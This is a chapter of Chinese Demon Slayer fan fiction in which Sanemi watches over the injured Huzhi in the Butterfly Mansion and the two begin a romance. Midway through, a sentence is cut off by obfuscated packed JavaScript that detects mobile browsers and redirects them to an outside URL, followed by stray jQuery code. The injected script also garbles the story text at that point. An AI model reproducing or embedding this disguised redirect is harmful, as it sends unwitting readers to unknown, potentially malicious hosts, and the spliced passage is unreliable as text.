名为杏寿郎的少年,将人送到蝶屋后,确认没问题后,贴心的告辞了。
蝶屋的掌事人重伤归来,造成一阵骚动。
所有人都知道,遇到上弦意味着什么,几百年以来,没有人杀死过上弦。
“香奈惠大人…没事吧?”女孩子们聚在一起,眼中透出担忧的泪光。
“没事,你们准备好东西,先退下。”忍说道。
这一趟,她的气势和说话的语气,都产生了微妙的变化。
胡枝所剩不多的意识恢复几分,回到熟悉的地方,伤口的疼痛才明显起来。
她的伤口虽深,终究不是致命伤,忍一头扎进了香奈惠的病房。
拆开绷带,归功于出色的药物,血已经不怎么流了,但破开皮肤的鲜红血肉绽在外面,让看到的人几乎都觉得相同的位置在隐隐作痛。
实弥就站在身后没有离开,不转头都能感觉到灼热的视线。
小葵深吸一口气,说道:“先上麻醉,再缝合。”
好歹是见识过各种情况的人,还不至于被这点情况吓到。
她麻利的准备好器具,装有麻醉剂和镇痛药的针头打进胡枝的血管。
随着疼痛感消失,半边身子渐渐麻木起来。
缝合前,小葵见她一动不动盯着,有些不忍,提醒道:“别看会比较好。”
“没关系,我……”不怕。
话没说完,眼前一片黑暗,身后一只大手盖住她半张脸。
经过常年大量训练的手不可避免的粗粝,路上沾染的青草露水气还未散去,身后的温度若即若离。
小葵趁机开始了,麻醉后没有痛觉,但有知觉,能感觉到在有东西在皮肉里穿梭。
不太适应的感觉让她有点起鸡皮疙瘩,可能是不自觉的动了,因为小葵的一声轻呼。
背后的人环上来,另一只手固定住她,警告的声音响起:“不准动!”
属于某个人得到气息扑过来,近得能听见他的心跳,胡枝倒是不敢动了,僵住了。
“抱…抱歉。”
实际上持续了多久她也不知道,脑袋空白的只能在心里默数。
终于一阵叮铃当啷的声音过后,实弥松开了她。
突如其来亮起的光线让她不适的眯起眼,再缓缓睁开。
眼前哪里还有小葵的身影,伤口被重新包扎起来,所有换下来的绷带都被收拾得干干净净。
她想转个身,但麻醉的效果还没散,动起来没轻没重的。
“小心点!白痴。”实弥再次扶上来,然后勒令她躺好。
他像是在看自己,又像是在出神。
胡枝伸出没受伤的那只手摇了摇他:“实弥…怎么了?”
四目相对
他的眼神比往常直白许多,映出一些看不懂的情绪。
良久,他缓缓开口:“听说,你们遇到的是上弦贰?”
“好像确实眼珠上看到了‘贰’的字眼。”当时情况紧急,她也来不及细想。
“以蝴蝶的实力,如果是下弦,不至于这样搞成这副模样。”他肯定道,语气中含着怒意。
说起这个,胡枝才想起来,那股熟悉的气息。
她迟疑道:“你记不记得…之前我提过在桃山下的小镇感觉到的奇怪气息?”
“那怎么了?”
“这次的鬼,跟那个时候的很像,而且,当时感知到的比这次强大许多。”
她顿了顿,不太确定的继续说出自己的猜测:“可那个人眼珠却没有数字,一副人类模样,会不会…是你们口中的鬼王?无惨。”
实弥愣住,一直以来,没有人知道无惨的样貌,明明一切的起源都是他。
“他长什么样?!”
他撑住床沿猛地凑过去,紧紧盯着她,杀死无惨,就能结束这一切!
胡枝往背后一缩:“只看到了一眼…惨白肤色和鲜红瞳孔的男人。”
实弥往后退两步,背后开始冒出冷汗,他开始后怕,意识到幸好没看清,否则眼前的人哪里还有命在。
在他不知道的地方,她或许会遇到更多,不可预知的危险。
“实弥?”见他似乎陷入某种挣扎里,胡枝忍不住擦过他额头上冒出的汗珠,“抱歉,我只看到这么多。”
如果不是遇到相似的上弦贰,她或许都意识不到那可能是无惨。
“不,还好…”他没有躲开,反而一把握住了自己。
被紫藤花色的眼睛专注盯着,甚至能在他的眼睛里看清自己的眼睛。
他越靠越近,直到,两个人的额头贴在一起,没有丝毫缝隙。
“我,会保护你的。”
说完这句,他起身,把懵住的胡枝按在病床躺好,转身离开带上了门。
被子翻动了下,麻醉剂的效果在褪去,知觉与含着某种不明意义的感情,一起恢复了。
她满脸通红捂住自己额头,对方的余温好像还留在上面,心脏没了规矩疯狂跳动。
不是?!以他的性格,做这样的举动,说这样的话,那和告白有什么区别?
到底发生了什么?
独自纠结了半天的胡枝,最终还是在药物和身体疲倦的双重作用下,睡了过去。
这一觉格外沉,对外界完全没了感知。
意识恢复的时候,脑子里反而比睡之前还要昏沉。
两道熟悉的声音在她身边交谈,声音很轻,听不见内容。
胡枝迷迷糊糊睁开眼,是小忍和实弥。
看起来已经是深夜,房间里亮着一盏昏暗的白炽灯光,两人的脸都看不太清。
面对病床坐着的实弥先一步发现她醒了。
忍发现他视线的变化,转过身,脸上已经是平常的神色。
“小忍…”刚醒来的声音有点哑。
她走过来弯腰拂开缠在脸上的头发:“离天亮还早,再睡会儿吧。”
“师父呢?怎么样了。”
“姐姐没有生命危险了,你也是,先养伤吧。”
听到确切的答案,胡枝松了口气:“那就好。”
忍看了她一会儿,上扬的嘴角落下来,郑重道:“这次谢谢你了,小枝。”
她脑子宕机了一秒,强撑着坐起来,重重拉住她的手,静谧的夜里发出‘啪’的一声脆响。
无比认真道:“小忍,我要生气了,再说这种话,把我当成什么了?”
“抱歉,我失言了。”忍握了握她的手,放回病床上。
“我先走了,这里就麻烦你了,不死川先生,刚才我说的话…算了,没什么。”
一番意义不明的话后,忍离开了。
房间又安静下来,胡枝满肚子疑惑:“你们聊什么了?”
“没什么。”实弥拿着凳子靠近,挨她在床边坐下。
浅浅黄色灯光下,银色的头发也渡上了一层暖色,眼神一如日间般直白。
手掌撑着下巴,一眨不眨
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422774|184792||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的看她。
困倦中的头脑醒过神来,胡枝摸摸自己脸,怎么…怎么这样盯着,脸上有什么东西吗?
“胡枝。”
“在。”听到声音,她心跳漏了一拍,条件反射应道。
“我跟主公大人申请了,以后你就跟我一起行动。”
“欸?”她没转过弯来,想也不想说道:“因为我太弱了吗?”
“笨蛋吗你是,”实弥的视线移开,喃喃自语道:“怎么突然这么迟钝?”
可惜离得太近,环境太安静,被一字不落收进耳中。
“什…么…”这次是真的脑子空白了,是她想的那个意思吗?
答案近在眼前的时候,反而不敢触碰。
他也不说话了,就侧着头,脖子和耳垂藏在阴影下,看不见透出来的红。
“实弥。”胡枝朝他伸出手,被稳稳接住。
手臂被宽厚的手掌握住,实弥站起来,离她更近了些。
胡枝抓着他费力的跪在床榻,直起腰,凑上去,直到看清他每一根睫毛。
才发现他红透的耳朵,灼热的双手微微颤抖。
没有躲开,就是他的极限了。
“实弥,那…要在一起吗?”
哪怕已经有了心理准备,瞳孔还是狠狠一缩。
“回答呢?”
一只手搭在了她的腰上,与其说是回答,不如像在防止自己逃跑。
实弥将头埋在她的肩颈,头发扎得人痒痒的。
耳边极轻的一声:“好。”
答应了?!
脑子里不停闪烁着这句话,一激动直接撞在他身上,完全忘记了身上还有伤这件事。
“嘶。”胡枝轻轻痛呼一声。
“喂,小心一点!”他神色闪过一丝无措,手忙脚乱的动作里包含着最大的细致。
“我没事。”她就这样笑出了声,在空荡荡的病房里回荡。
抬起头,脸上红扑扑的,漆黑的瞳孔却比灯光更亮。
突然转变了关系,两人都不太适应。
胡枝试探的环住他,或许是怕再碰到伤口,他顺着对方的力道靠过去。
耳朵贴上他滚烫的胸膛,听见擂鼓般的心跳。
“实弥,我,最喜欢你了。”
感觉到腰上的手一紧,如愿听到乱得更厉害的心跳和呼吸,她低低的偷笑。
“……我知道了,别说了。”
憋了半天,才说出这么一句,不用看,光从他紧绷的肌肉和不断上升的体温,就知道他的脸是什么颜色。
“以后别自己到处乱窜。”他低喃了一句。
胡枝一怔,思考后认真道:“我尽量。”
“你…”不抬头也能察觉到他的气闷。
维持这个姿势待了片刻,实弥劝道:“再睡会儿吧。”
她脑子一抽,问道:“要一起吗?”
“哈?!”这次他没绷住,满脸通红把人从怀里拉出来,“你知道自己在说什么吗?”
“因为我睡不着了呀,都怪你。”
本来只是想开个玩笑逗逗他,看到这个反应,她一本正经装起可怜来。
实弥一边磕磕绊绊说着太快了,一边把她塞回被子里。
精神还处在亢奋的状态下,她现在是真的睡不着。
实弥看着她睁大的眼睛挣扎了半晌,自暴自弃般妥协了一步:“这样行了吧!”
一只手伸进被子里,十指相扣。